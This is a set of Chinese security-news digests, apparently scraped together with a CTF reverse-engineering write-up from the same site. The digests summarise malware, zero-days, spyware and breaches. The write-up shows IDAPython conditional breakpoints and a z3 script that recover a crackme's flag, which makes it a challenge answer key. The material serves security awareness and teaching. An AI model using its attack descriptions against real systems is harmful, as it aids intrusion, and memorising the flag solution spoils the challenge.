1、Lazarus组织利用Windows零日漏洞获取内核权限 https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/ 据研究人员披露，Lazarus组织利用了Windows AppLocker驱动程序(appid.sys)的一个未知的零日漏洞，获取了目标系统的内核级别的权限，并关闭了可能检测到他们的安全工具。该漏洞被微软标记为CVE-2024-21338，并在2月份的补丁更新中修复。该漏洞存在于Windows AppLocker驱动程序的IOCTL分发器中，可以让攻击者在内核 2、Predator间谍软件在曝光后仍在活跃 https://go.recordedfuture.com/hubfs/reports/cta-2024-0301.pdf Predator间谍软件是一种针对高价值目标的手机监控工具。Predator间谍软件可以利用零日漏洞攻击Android和iOS设备，获取设备上的所有数据和权限。2021年8月至10月，研究人员发现了三起利用Predator间谍软件的网络攻击活动，目标包括欧盟议会主席、台湾总统、美国国会议员和德国驻美国大使等。这些攻击都是通过发送伪装成URL缩短服务的一次性链接来实施的，一旦用户点击链接，就会被重定向到攻击者控制的域名，从而触发零日漏洞并下载Predator间谍软件。Pr 3、Savvy Seahorse利用DNS骗局诱导投资者进入假冒平台 https://insights.infoblox.com/resources-whitepaper/infoblox-report-blog-beware-the-shallow-waters-savvy-seahorse-lures-victims-to-fake-investment-platforms-through-facebook-ads Savvy Seahorse是一个网络威胁行为者，专门针对投资平台进行DNS骗局，诱导用户进入伪造的网站，然后窃取他们的资金和个人信息。Savvy Seahorse使用Facebook广告，假冒知名公司如Tesla和Facebook/Meta， 4、数据库暴露导致世界科技巨头的2FA代码泄露 https://techcrunch.com/2024/02/29/leaky-database-two-factor-codes/ 根据报道，一家在全球范围内提供短信转发服务的亚洲科技和互联网公司YX International，因为未对其内部数据库进行密码保护，导致其数据库被公开暴露在互联网上，任何人都可以通过浏览器访问其中的敏感数据。这些数据包括了为用户发送的一次性验证码和密码重置链接，这些验证码和链接可能被用于访问用户的Facebook、Google、TikTok等账户。YX International是一家生产移动网络设备和提供短信转发服务的公司。短信转发服务可以帮助将及时的短信信 5、欧洲零售巨头Pepco遭遇钓鱼攻击损失1550万欧元 https://www.pepcogroup.eu/media-news/pepco-group-n-v-notice-regarding-hungarian-business/ Pepco集团(Pepco或Group)是一家在欧洲16个国家经营超过3000家折扣店的零售公司。该公司近日公布，其在匈牙利的业务遭到了一场复杂的钓鱼攻击，导致约1550万欧元的现金损失。据报道，攻击者冒充Pepco的高管，通过电子邮件诱骗员工转账给一个虚假的账户。Pepco表示，这起事件已经报告给了相关的执法机构，并正在与保险公司合作，以尽可能地挽回损失。Pepco还表示，这起攻击并未影响其业务运营，也没有泄露任 6、GitHub遭大规模攻击，超过 10 万个存储库被感染 https://www.freebuf.com/news/393211.html 网络安全公司 Apiiro 报告称，GitHub 遭受了大规模攻击，可能影响成千上万的人。这种攻击涉及克隆安全且干净的存储库，添加恶意的、模糊的代码后重新上传。 7、美国法院命令NSO集团将其间谍软件代码交给WhatsApp https://www.freebuf.com/news/393207.html 近日，美国法院下令要求以色列间谍软件开发商NSO集团将其Pegasus间谍软件的代码交给WhatsApp。2019年，NSO集团利用WhatsApp的安全漏洞对1400名用户进行了为期两周的监视。同年，WhatsApp向该公司提起了法律诉讼。自那时起，诉讼一直在进行。 8、史上首次：美国禁止向中国跨境传输数据 https://www.secrss.com/articles/64022 美国方面依据《国际紧急经济权力法》发布了一项保护美国人个人敏感数据免遭“受关注国家”利用的行政命令，尽管详细信息还没有披露出，但从已有信息已经可以判断，美国政府决意切断某些敏感数据向中国和其他几个同样被美国视为“外国敌手”的国家的跨境传输。 9、海康威视修补安全管理系统中的高危漏洞 https://www.securityweek.com/hikvision-patches-high-severity-vulnerability-in-security-management-system/ 视频监控设备制造商海康威视宣布修补其安全管理系统 HikCentral Professional 中的两个漏洞。这些缺陷中最重要的是 CVE-2024-25063，这是一个高严重性缺陷，可能导致对某些 URL 进行未经授权的访问。该错误影响 HikCentral Professional 版本 2.5.1 及更低版本。 10、美国指控伊朗黑客，悬赏1000万美元抓获 https://thehackernews.com/2024/03/us-charges-iranian-hacker-offers-10.html 美国司法部 (DoJ) 周五公布了对一名伊朗国民的起诉书，该名伊朗国民涉嫌参与旨在损害美国政府和私人实体的多年网络活动。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Bifrost恶意软件伪装成VMware域名进行逃避 https://unit42.paloaltonetworks.com/new-linux-variant-bifrost-malware/ Bifrost是一种远程访问木马(RAT)，可以让攻击者控制受感染的系统。最近，研究人员发现了一种新的Bifrost Linux变种，它采用了一些新颖的逃避技术，包括使用一个欺骗性的域名，让人误以为是VMware的一部分。该域名为download.vmfare[.]com，与VMware的合法域名非常相似，因此可能在检查时被忽略。该恶意软件通过该域名与其命令和控制服务器通信，接收指令和发送数据。此外，该恶意软件还具有自删除功能，可以在执行完毕后清除自身 2、GTPDOOR恶意软件利用GPRS隧道攻击电信网络 https://doubleagent.net/telecommunications/backdoor/gtp/2024/02/27/GTPDOOR-COVERT-TELCO-BACKDOOR 研究人员最近发现了一款名为GTPDOOR的新型Linux恶意软件，专为部署在与GPRS漫游交换(GRX)网络相邻的电信网络中设计。该恶意软件在利用GPRS隧道协议(GTP)进行指挥控制(C2)通信方面独树一帜。GPRS漫游允许用户在远离其主手机网络时访问GPRS服务，由GRX转运使用GTP在来访和主公共陆地移动网络(PLMN)之间传递漫游流量。研究人员分析认为这一后门与已知的威胁行为者LightBas 3、新型Silver SAML攻击规避身份系统内部Golden SAML防御 https://www.semperis.com/blog/meet-silver-saml/ 研究人员披露了一种名为Silver SAML的新攻击技术，即使在已对Golden SAML攻击采取了缓解措施的情况下，该技术也能成功执行攻击。Silver SAML利用SAML漏洞，允许攻击者从诸如Entra ID这样的身份提供商对配置它用于身份验证的应用程序(例如Salesforce)发起攻击。Golden SAML(安全声明标记语言的简称)首次由CyberArk在2017年记录。简言之，这种攻击手段涉及滥用互操作身份验证标准来冒充组织中几乎任何身份。这也类似于Golden Ticket攻击，因 4、研究人员发现零点击Facebook账号接管漏洞 https://infosecwriteups.com/0-click-account-takeover-on-facebook-e4120651e23e 研究人员警告说，Facebook的一个关键漏洞可能允许网络威胁行为者劫持任何Facebook账户。研究人员把这个漏洞描述为Facebook密码重置流程特定端点的速率限制问题。攻击者本可以利用这个漏洞通过暴力破解特定类型的一次性数字(nonce)来接管任何Facebook账户。研究人员发现该问题影响Facebook的密码重置程序，当用户选择“通过Facebook通知发送代码”时。分析易受攻击的端点，研究人员发现三个条件为暴力攻击打开了大门： 5、CutOut.Pro AI工具否认被黑客入侵泄露2000万用户信息 https://www.hackread.com/hacker-cutout-pro-ai-tool-data-breach/ CutOut.Pro AI工具是一个提供AI照片和视频编辑功能的在线平台。近日，有黑客声称已经入侵了该平台的系统，并窃取了2000万用户的敏感信息，包括姓名、邮箱、密码、IP地址、支付方式等。黑客还在暗网上出售这些信息，每条信息的价格为0.01比特币。然而，CutOut.Pro AI工具对此事进行了否认，称黑客的说法是“明显的骗局”，并表示他们的系统没有遭到任何入侵或泄露。该平台还提供了一份声明，解释了他们的安全措施和用户数据保护政策。 6、研究人员发现PDF文件中的恶意代码激增 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-in-deceptive-pdf-the-gateway-to-malicious-payloads/ 研究人员发现了PDF文件中的恶意代码的显著增长，这些PDF文件通常通过电子邮件附件的形式传播，隐藏在各种主题下，如发票、紧急通知、诱导性的按钮等，诱骗用户打开或点击。这些PDF文件利用了PDF文件的复杂结构和JavaScript功能，可以直接或间接地执行嵌入的恶意脚本，从而启动PowerShell，注入进程，或者跳转到恶意网站，下载恶意载荷。研究人员表示，这些PDF文件中的恶 7、德国警方查封最大的德语网络犯罪市场 https://securityaffairs.com/159813/cyber-crime/germany-police-seized-crimemarket.html 近日，德国杜塞尔多夫警方宣布，一场大规模的国际执法行动成功查封了最大的德语网络犯罪市场Crimemarket，并逮捕了其中一名运营者。该网络犯罪市场已经存在了超过15年，提供了各种网络犯罪服务，如销售恶意软件、黑客工具、盗取的数据、假身份证、假钞等。据报道，Crimemarket拥有超过50万名注册用户，其中包括许多知名的网络犯罪分子，如Emotet、Trickbot、Ryuk等恶意软件的运营者。该网络犯罪市场的特点是采用 8、CISA等机构联合发布关于Phobos勒索软件防御指南 https://www.cisa.gov/sites/default/files/2024-02/aa24-060a-stopransomware-phobos-ransomware_1.pdf CISA，FBI和MS-ISAC发布了一份关于Phobos勒索软件的联合网络安全指南，该活动旨在发布一些针对网络防御者的咨询，详细介绍了各种勒索软件变体和勒索软件威胁行为者。这些防御指南内容包括了最近和历史上观察到的TTPs和IOCs，以帮助组织防范勒索软件。Phobos勒索软件是一种RaaS模式的勒索软件，自2019年5月以来，MS-ISAC就经常收到影响州，地方，部落和领土(SLTT)政府的Ph 9、IBM 发布全新AI SSD，60 秒内检测并清除勒索软件 https://www.ithome.com/0/752/804.htm IBM 公司近日发布新闻稿，宣布推出新版 FlashCore Module 存储硬盘和新版 Storage Defender 软件，两者结合可提高客户检测和应对网络攻击或勒索软件的能力。 10、LockBit利用新的服务器和加密器再次发起攻击 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-returns-to-attacks-with-new-encryptors-servers/ 在不久前因联合执法行动而中断服务后，LockBit 勒索软件团伙使用更新后的加密器和链接到新服务器的勒索票据再次发起攻击。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

不知道你是否使用过IDA的条件断点呢？在IDA进阶使用中，它的很多功能都有大作用，比如：ida-trace来跟踪调用流程。同时IDA的断点功能也十分强大，配合IDA-python的输出语句能够大杀特杀！ 那么本文就介绍一下这个功能点，使用z3来秒解题目。 条件断点 什么是条件断点呢？ 条件断点（ConditionalBreakpoint）是一种在代码调试过程中设置的断点，它可以根据特定的条件暂停程序的执行。当程序执行到设置了条件断点的代码行时，如果该条件为真，则程序会暂停执行；如果该条件为假，则程序会继续执行。这种调试技术常用于复杂的程序调试，能够帮助程序员更快地发现程序中的错误，并提高调试的效率。条件断点可以应用于多种编程语言和开发环境中，如C++、Java、Python等。 与普通的断点大差不差，不同点在于，程序运行到条件断点处时，不会让程序暂停，而是继续执行，并执行我们设置好的脚本。 OK，接下来让我们分析这道题目 初次分析 main函数 flag的格式 打开main函数，发现使用了SIMD指令赋值了一些关键数据 继续分析 看来cry1和cry2是很关键的函数 密文： cry1 发现对我们的输入flag，进行一些转换： 比如：位置顺序和对我们的flag异或一个固定的值。 异或的值是由上下文决定的，但是总是单字节固定 将输入的flag运算完后，转换为 一个int类型的矩阵 初次分析到此结束 cry2 条件断点妙用 经过动调，我发现关键的加密就这三个汇编指令。 意思：取flag->与一个固定的矩阵相乘->输出加密之后的矩阵 如果我们能够打印，加密前的flag和相乘的矩阵元素，就可以逆推明文啦 主要是不清楚，矩阵相乘的顺序，可能是打乱的，那样只能这样来做。 使用了：条件断点 这三个断点依次使用下面3个条件输出 主要是这两个命令： get_reg_value("rbx") 获取rbx寄存器的值 idc.get_wide_dword() 获取某地址的值（4字节读取）  print("[rbx] = ",hex(idc.get_wide_dword(get_reg_value("rbx"))))    print("rax = ",hex(get_reg_value("rax")),"[rdi]=  ",hex(idc.get_wide_dword(get_reg_value("rdi"))))    print("output，rax = ",hex(get_reg_value("rax")),"n") 然后edit breakpoint OK，见证奇迹的时刻到了，运行程序，成功输出： 推导 因为密文说16字节的，我们将真正的密文提取出来和我们输入假flag产生的密文也提取出来，进行对比 Python 密文  unsigned int data[16] = {  0x00000436, 0x000002B4, 0x000002AF, 0x00000312, 0x000002EA, 0x00000253,  0x0000020A, 0x0000028E,  0x000001C6, 0x0000015C, 0x0000017C, 0x0000017A, 0x0000069E, 0x000004AE,  0x000004B1, 0x00000522 };    假flag输出的结果密文  unsigned int data[16] = {  0x00000466, 0x000002F9, 0x00000329, 0x0000046E, 0x00000290, 0x00000184,  0x000001E4, 0x0000023A,  0x00000183, 0x000000C1, 0x0000011E, 0x00000122, 0x00000646, 0x00000467,  0x000004F7, 0x000005EA };    这是根据条件输出得到的规律；    x1*1+x2*5+x3*4+x4*3=0x436  y1*1+y2*5+y3*4+y4*3=0x2B4  z1*1+z2*5+z3*4+z4*3=0x2AF  n1*1+n2*5+n3*4+n4*3=0x312    x1*2+x2*1+x3*2+x4*3=0x2EA  y1*2+y2*1+y3*2+y4*3=0x253  z1*2+z2*1+z3*2+z4*3=0x20A  n1*2+n2*1+n3*2+n4*3=0x28E    x1*2+x2+x3+x4=0x1c6  y1*2+y2+y3+y4=0x15c  z1*2+z2+z3+z4=0x17c  n1*2+n2+n3+n4=0x17a    x1*3+x2*5+x3*4+x4*7=0x69e  y1*3+y2*5+y3*4+y4*7=0x4ae  z1*3+z2*5+z3*4+z4*7=0x4b1  n1*3+n2*5+n3*4+n4*7=0x522 z3解密 解密脚本： Python from z3 import *    # 定义变量  x = [Int(f'x{i}') for i in range(1, 5)]  y = [Int(f'y{i}') for i in range(1, 5)]  z = [Int(f'z{i}') for i in range(1, 5)]  n = [Int(f'n{i}') for i in range(1, 5)]    # 定义目标值  goal = [  0x466,  0x2f9,  0x329,  0x46e,  0x290,  0x184,  0x1e4,  0x23a,  0x183,  0xc1,  0x11e,  0x122,  0x646,  0x467,  0x4f7,  0x5ea ]    # 定义约束条件  constraints = [  x[0]*1 + x[1]*5 + x[2]*4 + x[3]*3 == goal[0],  y[0]*1 + y[1]*5 + y[2]*4 + y[3]*3 == goal[1],  z[0]*1 + z[1]*5 + z[2]*4 + z[3]*3 == goal[2],  n[0]*1 + n[1]*5 + n[2]*4 + n[3]*3 == goal[3],  x[0]*2 + x[1]*1 + x[2]*2 + x[3]*3 == goal[4],  y[0]*2 + y[1]*1 + y[2]*2 + y[3]*3 == goal[5],  z[0]*2 + z[1]*1 + z[2]*2 + z[3]*3 == goal[6],  n[0]*2 + n[1]*1 + n[2]*2 + n[3]*3 == goal[7],  x[0]*2 + x[1] + x[2] + x[3] == goal[8],  y[0]*2 + y[1] + y[2] + y[3] == goal[9],  z[0]*2 + z[1] + z[2] + z[3] == goal[10],  n[0]*2 + n[1] + n[2] + n[3] == goal[11],  x[0]*3 + x[1]*5 + x[2]*4 + x[3]*7 == goal[12],  y[0]*3 + y[1]*5 + y[2]*4 + y[3]*7 == goal[13],  z[0]*3 + z[1]*5 + z[2]*4 + z[3]*7 == goal[14],  n[0]*3 + n[1]*5 + n[2]*4 + n[3]*7 == goal[15] ]    # 创建求解器  solver = Solver()    # 添加约束条件  solver.add(constraints)    # 求解  if solver.check() == sat:  model = solver.model()  for i in range(1, 5):  print(f'x{i} = {model[x[i-1]]}')  print(f'y{i} = {model[y[i-1]]}')  print(f'z{i} = {model[z[i-1]]}')  print(f'n{i} = {model[n[i-1]]}')  else:  print('无解') 得到的结果，将其按照数组来填充 得到 Python 这是真flag解密后的结果：  x1 = 100  y1 = 89  z1 = 119  n1 = 92    x2 = 66  y2 = 5  z2 = 69  n2 = 4    x3 = 84  y3 = 83  z3 = 4  n3 = 104    x4 = 104  y4 = 82  z4 = 69  n4 = 86    100,89,119,92,66,5,69,4,84,83,4,104,104,82,69,86   这是假flag解密后的结果： x1 = 60  y1 = 1  z1 = 47  n1 = 4    x2 = 88  y2 = 87  z2 = 86  n2 = 95    x3 = 89  y3 = 13  z3 = 14  n3 = 94  x4 = 90  y4 = 91  z4 = 92  n4 = 93    60,1,47,4,88,87,86,95,89,13,14,94,90,91,92,93 按照我的思路来填充结果数组； 因为刚才说了，异或的值不清楚，但是一直为单字节固定值，所以使用Cybe的爆破功能。 根据程序的验证功能可知，flag以Sn@K开头，所以找到了真正的flag 但是顺序发生了变化，下面是假flag生成密文解密之后的结果，发现密文变化了 +-----------------------------------------------------------------------+ | Sn@ku2r3cd3__era                                                      | | Sn@k78906ba15432                                                     | |                                                                                       | | Sn@k0123456789ab                                                    | |                                                                                       | | 经过交换后的结果：                                                      | |                                                                                       | | Sn@k78906ba15432                                                    | |                                                                                       | | 按照我们构造的flag交换顺序后的字符串来恢复            | | 恢复                                                                               | | Sn@k3_are_cu2r3                                                        | +-----------------------------------------------------------------------+ 成功验证！

1、与伊朗有关的黑客瞄准中东航空航天和国防部门 https://thehackernews.com/2024/02/iran-linked-unc1549-hackers-target.html 研究人员发现针对中东国家（包括以色列和阿拉伯联合酋长国（UAE），可能还有土耳其、印度和阿尔巴尼亚）的航空航天和国防工业的涉嫌与伊朗有联系的间谍活动。 研究人员将这一活动归因于伊朗攻击者 UNC1549 ，该攻击者与Tortoiseshell重叠 ，Tortoiseshell是一个已公开 与 伊朗伊斯兰革命卫队 (IRGC)有联系的威胁攻击者。这一可疑的 UNC1549 活动至少自 2022 年 6 月以来一直活跃，并且截至 2024 年 2 月 2、TimbreStealer恶意软件以税务为主题针对墨西哥用户 https://blog.talosintelligence.com/timbrestealer-campaign-targets-mexican-users/ 据观察，该威胁行为者至少从 2023 年 11 月开始，通过使用墨西哥税务相关主题的垃圾邮件活动来分发 TimbreStealer。该威胁行为者之前曾使用类似的策略、技术和程序 (TTP) 来分发名为“Mispadu”的银行木马。TimbreStealer 是一种新的模糊信息窃取程序，针对墨西哥的受害者。它包含多个嵌入式模块，用于编排、解密和保护恶意软件二进制文件。网络钓鱼活动使用地理围栏技术仅针对墨西哥的用户，任何从其他位置联系有 3、Agent Tesla恶意软件利用邮件传播恶意载荷 https://www.forcepoint.com/blog/x-labs/agent-tesla-malware-attacks-travel-industry 研究人员发现Agent Tesla 恶意软件活动在大流行开始时有所增加，并不断发展技术并使用新策略交付和执行。攻击者利用电子邮件仿冒品牌，寻求在Booking.com上进行的预订退款，并要求收件人检查随附的 PDF 格式的卡对账单。感染过程之后会出现带有 PDF 附件形式的预订发票的虚假电子邮件，该电子邮件会下载恶意JavaScript，在执行时会下载 PowerShell 脚本。PowerShell 脚本具有复杂的多阶段混淆策 4、德国黑森州消费者中心遭受勒索软件攻击 https://www.verbraucherzentrale-hessen.de/pressemeldungen/verbraucherzentrale/hackerangriff-auf-verbraucherzentrale-hessen-92732 黑森州是德国中部的一个州，人口超过 600 万，涵盖德国第二大都市区和主要金融中心法兰克福。黑森州消费者中心是一个非营利组织，旨在向黑森州居民提供有关消费者法、电话和互联网、金融和保险、节能、健康和护理、食品和营养等方面的公正和中立的建议。 近日，黑森州消费者咨询中心的 IT 基础设施遭到攻击。黑森州消费者咨询中心暂时无法使用或只能在有限 5、medQ软件平台确认被黑客攻击导致数据泄露 https://www.jdsupra.com/legalnews/medq-confirms-data-breach-after-8682976/ 2024 年 2 月 23 日，研究人员发现黑客访问并加密了 medQ 使用的软件平台后，向缅因州总检察长提交了数据泄露通知。通知中表示该事件导致未经授权的一方能够访问消费者的敏感信息，其中包括他们的姓名、社会安全号码、驾驶执照号码、出生日期、健康信息、诊断、实验室结果、药物、治疗信息以及健康保险和索赔信息。调查完成后，medQ 开始向所有信息受到最近数据安全事件影响的个人发送数据泄露通知信。 6、Anycubic 3D打印机在全球范围内遭到黑客攻击 https://www.bleepingcomputer.com/news/security/anycubic-3d-printers-hacked-worldwide-to-expose-security-flaw/ 根据 Anycubic 的一波在线报告，有人入侵了他们的 3D 打印机，并警告这些设备面临攻击。据称，此漏洞使潜在攻击者能够使用该公司的 MQTT 服务 API 控制任何受此漏洞影响的 Anycubic 3D 打印机。部分受害机器会收到提醒消息“您的机器存在严重漏洞，对您的安全构成重大威胁。强烈建议立即采取行动，以防止潜在的利用，”建议收到此警告消息的客户断开打印机与互联网的 7、Windows 零日漏洞正在被黑客利用以获取内核权限 https://www.freebuf.com/news/392838.html 研究人员近期发现，Lazarus 黑客组织正在试图利用 Windows AppLocker 驱动程序 appid.sys 中的零日漏洞 CVE-2024-21338，获得内核级访问权限并关闭安全工具，从而能够轻松绕过 BYOVD（自带漏洞驱动程序）技术。 8、针对苹果 macOS 的 Atomic Stealer 恶意变种曝光 https://www.ithome.com/0/752/468.htm Atomic Stealer 的目标是与已安装的加密钱包扩展和应用程序、浏览器数据、系统信息和密码相关的文件。 9、勒索软件攻击已是企业主要的规模级威胁 https://www.proofpoint.com/us/newsroom/press-releases/proofpoints-2024-state-phish-report-68-employees-willingly-gamble Proofpoint 2024年网络钓鱼状况报告显示，超过三分之二 （69%） 的组织在过去一年中经历了一次成功的勒索软件事件，与上一年相比增加了五个百分点。 10、Hugging Face “惊现”上百个恶意ML模型 https://www.freebuf.com/news/392830.html 近日，JFrog 的安全团队发现Hugging Face 平台上至少 100 个恶意人工智能 ML 模型实例，其中一些可以在受害者的机器上执行代码，为攻击者提供了一个持久的后门，构成了数据泄露和间谍攻击的重大风险。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。